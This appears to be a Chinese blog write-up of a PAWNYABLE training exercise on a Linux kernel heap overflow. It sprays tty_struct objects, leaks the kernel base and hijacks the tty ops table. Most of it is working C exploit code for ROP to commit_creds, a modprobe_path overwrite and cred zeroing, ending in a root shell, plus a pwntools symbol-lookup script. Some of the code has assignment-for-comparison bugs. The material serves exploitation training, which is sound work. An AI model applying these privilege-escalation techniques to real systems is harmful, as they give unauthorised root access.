PAWNYABLE kernel heap overflow 笔记
/ 11 min read
Table of Contents
kernel heap 结构
slab 的结构虽然之前看过了好多,但是现在再看还是感觉有点迷糊。大概是 slab 上的块是没有 metadata 的,但是释放的时候和使用的时候状态不同,释放的时候会存指针。不过既然 kernel 修改链表指针的操作不像 ptmalloc 这么多,那就不太细看了(
tty structure 用于泄露地址
本题的堆块申请大小是 0x400,和 tty structure 这个结构体申请的大小一样。大小一样的块物理地址可能相邻,所以溢出的时候可能可以复写到。
size:0x2e0 `kmalloc-1024`
内核基址:可泄露。`ops` 指向的 `ptm_unix98_ops`
heap:可泄露。通过 `dev` 和 `driver`,但是未验证属于哪种 SLUB。
stack:似乎不能泄露。
劫持 RIP:可劫持。重写 `ops` 函数表。
产生:open("/dev/ptmx", O_RDWR | O_NOCTTY)
释放:close()控制 rip
tty structure 有一个 ops 函数表 _tty_operations_,可以把这个 ops 改成一个堆的地址?
struct tty_operations { struct tty_struct * (*lookup)(struct tty_driver *driver, struct file *filp, int idx); int (*install)(struct tty_driver *driver, struct tty_struct *tty); void (*remove)(struct tty_driver *driver, struct tty_struct *tty); int (*open)(struct tty_struct * tty, struct file * filp); void (*close)(struct tty_struct * tty, struct file * filp); void (*shutdown)(struct tty_struct *tty); void (*cleanup)(struct tty_struct *tty); int (*write)(struct tty_struct * tty, const unsigned char *buf, int count); int (*put_char)(struct tty_struct *tty, unsigned char ch); void (*flush_chars)(struct tty_struct *tty); unsigned int (*write_room)(struct tty_struct *tty); unsigned int (*chars_in_buffer)(struct tty_struct *tty); int (*ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); long (*compat_ioctl)(struct tty_struct *tty, unsigned int cmd, unsigned long arg); void (*set_termios)(struct tty_struct *tty, struct ktermios * old); void (*throttle)(struct tty_struct * tty); void (*unthrottle)(struct tty_struct * tty); void (*stop)(struct tty_struct *tty); void (*start)(struct tty_struct *tty); void (*hangup)(struct tty_struct *tty); int (*break_ctl)(struct tty_struct *tty, int state); void (*flush_buffer)(struct tty_struct *tty); void (*set_ldisc)(struct tty_struct *tty); void (*wait_until_sent)(struct tty_struct *tty, int timeout); void (*send_xchar)(struct tty_struct *tty, char ch); int (*tiocmget)(struct tty_struct *tty); int (*tiocmset)(struct tty_struct *tty, unsigned int set, unsigned int clear); int (*resize)(struct tty_struct *tty, struct winsize *ws); int (*get_icount)(struct tty_struct *tty, struct serial_icounter_struct *icount); int (*get_serial)(struct tty_struct *tty, struct serial_struct *p); int (*set_serial)(struct tty_struct *tty, struct serial_struct *p); void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);#ifdef CONFIG_CONSOLE_POLL int (*poll_init)(struct tty_driver *driver, int line, char *options); int (*poll_get_char)(struct tty_driver *driver, int line); void (*poll_put_char)(struct tty_driver *driver, int line, char ch);#endif int (*proc_show)(struct seq_file *, void *);} __randomize_layout;目前位置可以泄露和执行任意一个函数。
#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <unistd.h>#include <sys/ioctl.h>
#define LEAK_SIZE 0x500#define ORI_SIZE 0x400#define SPREAD_SIZE 0x100#define OPS_SIZE 0x100
uint64_t kbase;uint64_t buf_addr;
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }
int main() {
char leak[LEAK_SIZE]; int tty[SPREAD_SIZE];
for(int i = 0; i < SPREAD_SIZE/2; i++) { tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); }
int fd = open("/dev/holstein", O_RDWR);
for(int i = 0; i < SPREAD_SIZE/2; i++) { tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); }
read(fd, leak, LEAK_SIZE);
kbase = *(uint64_t *)(leak + 1048) - 0xc38880; buf_addr = *(uint64_t *)(leak + 1080) - 0x438; print_hex("kbase", kbase); print_hex("buf_addr", buf_addr);
*(uint64_t *)(leak + 1048) = buf_addr;
for(int i = 0; i < ORI_SIZE; i=i+8) { *(uint64_t *)(leak + i) = 0xaaaaaaa000 + i; }
write(fd, leak, LEAK_SIZE);
for(int i = 0; i < SPREAD_SIZE; i++) { ioctl(tty[i], 0xdeadbeef, 0xcafebabe); }
close(fd);
return 0;}跳转到 ROP 所在
现在能够控制 rip,这就需要提前布置 rop 链子,然后跳转过去。咋做呢?需要找一个 mov rsp, rax 类似的 gadget,(寄存器可控)
可以控制的是 r8、r14,rdx,可以控制一半的是 rsi、rcx、r12
RAX: ffffffff9fe319da RBX: ffff9977c1e2fc00 RCX: 0000000011111111RDX: 0022222222222222 RSI: 0000000011111111 RDI: ffff9977c1e2f800RBP: ffffb50400187ea8 R08: 0022222222222222 R09: 0000000000000000R10: 0000000000000000 R11: 0000000000000000 R12: 0000000011111111R13: ffff9977c1e2f800 R14: 0022222222222222 R15: ffff9977c1ea8f00可以这么用正则表达式来匹配。
^(?=.*pop\s+rsp)(?=.*push\s+(r14|r8)).*$任意读写操作
如果没有 gadget 控制 rsp 导致 rop,那么能不能直接实现任意读写?任意读写的实现通过这种 gadget
0xffffffff810477f7: mov qword ptr [rdx], rcx; ret; // 只是写4个字节0xffffffff8118a285: mov eax, dword ptr [rdx]; ret; // 任意读, rax 是返回值怎么找
mov qword ptr \[rdx\], (r8|r14|rdx): mov eax, dword ptr \[rdx\]; ret用这样的 gadget 可以完成每次读取 4 个字节,或者写入 4 个字节
uint32_t aar(uint64_t target) { *(uint64_t *)(leak + 1048) = buf_addr; *(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase; write(fd, leak, LEAK_SIZE); ioctl(tty[0], 0, target);}
void aaw(uint64_t target, uint32_t value) { *(uint64_t *)(leak + 1048) = buf_addr; *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase; write(fd, leak, LEAK_SIZE); ioctl(tty[0], value, target);}modprobe_path 修改
Linux 上多种可执行文件格式并存,当执行具有可执行权限的文件时,根据文件开头的字节序列确定格式。默认情况下,会注册 ELF 文件和 shebang,但是当尝试调用与注册格式不匹配的未知可执行文件时,将使用
__request_module。modprobe_path默认为/sbin/modprobe,如果您重写它并尝试启动格式不正确的可执行文件,您可以执行任意命令。
注意修改的文件里面要加上 #!/bin/sh\n 才能正常找到路径
void aaw(uint64_t target, uint32_t value) { if (tty_fd == -1) { *(uint64_t *)(leak + 1048) = buf_addr; *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase; write(fd, leak, LEAK_SIZE); }
if (tty_fd = -1) { for (int i = 0; i < SPREAD_SIZE; i++) { int rv = ioctl(tty[i], value, target); if (rv != -1) { tty_fd = i; } } }
ioctl(tty_fd, value, target);}
void get_flag() { system("echo -e '#!/bin/sh\nchmod 777 /flag' > /sb"); // 这里随便写命令 system("chmod +x /sb"); system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy"); system("chmod +x /tmp/dummy"); system("/tmp/dummy");}
void modify_modprobe_path() { aaw(modprobe_path + kbase, 0x62732f); // change /sbin/modprobe to /sb get_flag();}修改进程的 creds
用 comm 找到 cred structure 然后修改就行
int rw = -1;
uint32_t aar(uint64_t target) { if (rw != 1) { *(uint64_t *)(leak + 1048) = buf_addr; *(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase; write(fd, leak, LEAK_SIZE); rw = 1; }
if (tty_fd = -1) { for (int i = 0; i < SPREAD_SIZE; i++) { int rv = ioctl(tty[i], 0, target); if (rv != -1) { tty_fd = i; } return rv; } }
return ioctl(tty_fd, 0, target);}
void aaw(uint64_t target, uint32_t value) { if (rw != 2) { *(uint64_t *)(leak + 1048) = buf_addr; *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase; write(fd, leak, LEAK_SIZE); rw = 2; }
if (tty_fd = -1) { for (int i = 0; i < SPREAD_SIZE; i++) { int rv = ioctl(tty[i], value, target); if (rv != -1) { tty_fd = i; return ; } } }
ioctl(tty_fd, value, target);
}
void attack_cred() { prctl(PR_SET_NAME, "giacomo");
for(uint64_t addr = buf_addr - 0x500000; addr > buf_addr - 0x600000; addr -= 4) { if(aar(addr) == 0x63616967) { puts("find comm"); print_hex("addr", addr); cred_addr = (((uint64_t)aar(addr-4))<< 32) + aar(addr-8); print_hex("cred_addr", cred_addr); } }
for(uint64_t i = 0; i < 0x20; i += 4) { aaw(cred_addr + i, 0); }
system("/bin/sh");}此外
一个快速获得 kernel 符号的脚本,extract 然后 vmlinux-to-elf 然后用 pwntools 来找。
from pwn import *import sys
# get file_name as inputif len(sys.argv) < 2: print('Usage: python3 symbols.py <file_name>') exit()
file_name = sys.argv[1]if not os.path.isfile(file_name): print(file_name + ' not found!') exit()
# deal with fileif not os.path.exists('vmlinux_symbol'): os.system('extract.sh ' + file_name + '> vmlinux') os.system('vmlinux-to-elf vmlinux vmlinux_symbol')
# get symbolskbase = 0xffffffff81000000kernel = ELF('vmlinux_symbol', checksec=False)
commit_creds = kernel.sym['commit_creds'] - kbaseprepare_kernel_cred = kernel.sym['prepare_kernel_cred'] - kbaseswapgs_restore_regs_and_return_to_usermode = kernel.sym['swapgs_restore_regs_and_return_to_usermode'] - kbasemodprobe_path = next(kernel.search(b"/sbin/modprobe\0")) - kbase
print('commit_creds = ' + hex(commit_creds))print('prepare_kernel_cred: =' + hex(prepare_kernel_cred))print('swapgs_restore_regs_and_return_to_usermode = ' + hex(swapgs_restore_regs_and_return_to_usermode))print('modprobe_path = ' + hex(modprobe_path))
if len(sys.argv) > 3: symbol_name = sys.argv[2] symbol = kernel.sym[symbol_name] - kbase print(symbol_name + ' = ' + hex(symbol))完整 exp
#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/ioctl.h>#include <unistd.h>#include <sys/prctl.h>
#define LEAK_SIZE 0x500#define ORI_SIZE 0x400#define SPREAD_SIZE 0x100#define OPS_SIZE 0x100
char leak[LEAK_SIZE];int tty[SPREAD_SIZE];
int fd;
int tty_fd = -1;int rw = -1;
uint64_t kbase;uint64_t buf_addr;uint64_t cred_addr;uint64_t user_cs, user_ss, user_rflags, user_sp;
// 0xffffffff815f7e60: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop// r13; pop rbp; ret;uint64_t gadget = 0x5f7e60;uint64_t pop_rdi_ret = 0x0d748d;uint64_t pop_rcx_ret = 0x13c1c4;uint64_t mov_rdi_rax_ret = 0x62707b;uint64_t prepare_kernel_cred = 0x74650;uint64_t commit_creds = 0x744b0;uint64_t srrartu = 0x800e10 + 22;uint64_t mov_rdx_rcx = 0x477f7;uint64_t mov_eax_rdx = 0x18a285;uint64_t modprobe_path = 0xe38180;
void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr);}
void print_hex32(char *name, uint32_t addr) { printf("%s %" PRIx32 "\n", name, addr);}
void binsh() { puts("get shell"); char *argv[] = {"/bin/sh", NULL}; char *envp[] = {NULL}; execve("/bin/sh", argv, envp);}
void rop() { *(uint64_t *)(leak + 1048) = buf_addr; *(uint64_t *)(leak + 0x60) = gadget + kbase;
uint64_t rop_chain[] = {pop_rdi_ret + kbase, 0, prepare_kernel_cred + kbase, pop_rcx_ret + kbase, 0, mov_rdi_rax_ret + kbase, commit_creds + kbase, srrartu + kbase, 0x1, 0x2, (uint64_t)&binsh, user_cs, user_rflags, user_sp, user_ss};
memcpy(leak + 0x80, rop_chain, sizeof(rop_chain)); write(fd, leak, LEAK_SIZE); for (int i = 0; i < SPREAD_SIZE; i++) { ioctl(tty[i], buf_addr + 0x70, buf_addr + 0x70); }}
uint32_t aar(uint64_t target) { if (rw != 1) { *(uint64_t *)(leak + 1048) = buf_addr; *(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase; write(fd, leak, LEAK_SIZE); rw = 1; }
if (tty_fd = -1) { for (int i = 0; i < SPREAD_SIZE; i++) { int rv = ioctl(tty[i], 0, target); if (rv != -1) { tty_fd = i; } return rv; } }
return ioctl(tty_fd, 0, target);}
void aaw(uint64_t target, uint32_t value) { if (rw != 2) { *(uint64_t *)(leak + 1048) = buf_addr; *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase; write(fd, leak, LEAK_SIZE); rw = 2; }
if (tty_fd = -1) { for (int i = 0; i < SPREAD_SIZE; i++) { int rv = ioctl(tty[i], value, target); if (rv != -1) { tty_fd = i; return ; } } }
ioctl(tty_fd, value, target);
}
void save_status() { asm("movq %%cs, %0\n\t" "movq %%ss, %1\n\t" "movq %%rsp, %3\n\t" "pushfq\n\t" "popq %2\n\t" : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp) : // no input : "memory");}
void leak_addr() { read(fd, leak, LEAK_SIZE);
kbase = *(uint64_t *)(leak + 1048) - 0xc38880; buf_addr = *(uint64_t *)(leak + 1080) - 0x438; print_hex("kbase", kbase); print_hex("buf_addr", buf_addr); print_hex("gadget", gadget + kbase); print_hex("mov_rdx_rcx", mov_rdx_rcx + kbase); print_hex("modprobe_path", modprobe_path + kbase);}
void get_flag() { system("echo -e '#!/bin/sh\nchmod 777 /flag' > /sb"); system("chmod +x /sb"); system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy"); system("chmod +x /tmp/dummy"); system("/tmp/dummy");}
void modify_modprobe_path() { aaw(modprobe_path + kbase, 0x62732f); // change /sbin/modprobe to /sb get_flag();}
void attack_cred() { prctl(PR_SET_NAME, "giacomo");
for(uint64_t addr = buf_addr - 0x500000; addr > buf_addr - 0x600000; addr -= 4) { if(aar(addr) == 0x63616967) { puts("find comm"); print_hex("addr", addr); cred_addr = (((uint64_t)aar(addr-4))<< 32) + aar(addr-8); print_hex("cred_addr", cred_addr); } }
for(uint64_t i = 0; i < 0x20; i += 4) { aaw(cred_addr + i, 0); }
system("/bin/sh");}
int main() { save_status();
for (int i = 0; i < SPREAD_SIZE / 2; i++) { tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); }
fd = open("/dev/holstein", O_RDWR);
for (int i = 0; i < SPREAD_SIZE / 2; i++) { tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY); }
leak_addr();
getchar();
// rop();
// modify_modprobe_path();
attack_cred();
getchar();
close(fd);
return 0;}